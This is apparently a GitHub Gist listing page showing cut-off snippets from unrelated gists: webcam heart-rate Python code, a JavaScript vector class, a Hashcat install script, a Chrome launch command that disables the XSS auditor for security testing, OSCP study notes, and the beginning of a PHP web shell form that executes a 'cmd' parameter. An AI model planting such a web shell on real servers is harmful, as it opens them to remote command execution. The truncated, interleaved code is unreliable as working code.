Skip to content

Instantly share code, notes, and snippets.

@kongmunist
kongmunist / face_tracking_ppg.py
Last active July 3, 2024 14:09
Webcam Photoplethysmyography
# Must be run in console to work properly
import numpy as np
import cv2
import time
from scipy import signal
import matplotlib.pyplot as plt
import matplotlib
import threading
import scipy.signal as sig
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@lunaroyster
lunaroyster / Vector.js
Created November 25, 2017 19:37
A minimalist (amateur) implementation of 'Vector', along with cosineSimilarity
class Vector {
constructor(VectorArray) {
//TODO: Check things?
this._values = VectorArray;
}
toArray() {
return this._values;
}
get length() {
return this._values.length;
/*
* Globals
* @type {Object}
*/
var G, PSInstaller, PSU, e, errorMessage, psInstaller;
var isWindows = $.os.match(/windows/i);
var isMac = !isWindows;
G = {
@chadmayfield
chadmayfield / hashcat_macos.sh
Created June 2, 2017 17:24
Install Hashcat on macOS
#!/bin/bash
git clone https://github.com/hashcat/hashcat.git
mkdir -p hashcat/deps
git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
cd hashcat/ && make
./hashcat --version
./hashcat -b -D 1,2
./example0.sh
@mbijon
mbijon / disable-xss-auditor.sh
Created September 19, 2016 19:04
CLI command to start Chrome with XSS Auditor disabled. Use for XSS/security testing
'/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' --disable-xss-auditor --enable-devtools-experiments --disable-features=enable-automatic-password-saving

How to pass the OSCP

  1. Recon
  2. Find vuln
  3. Exploit
  4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.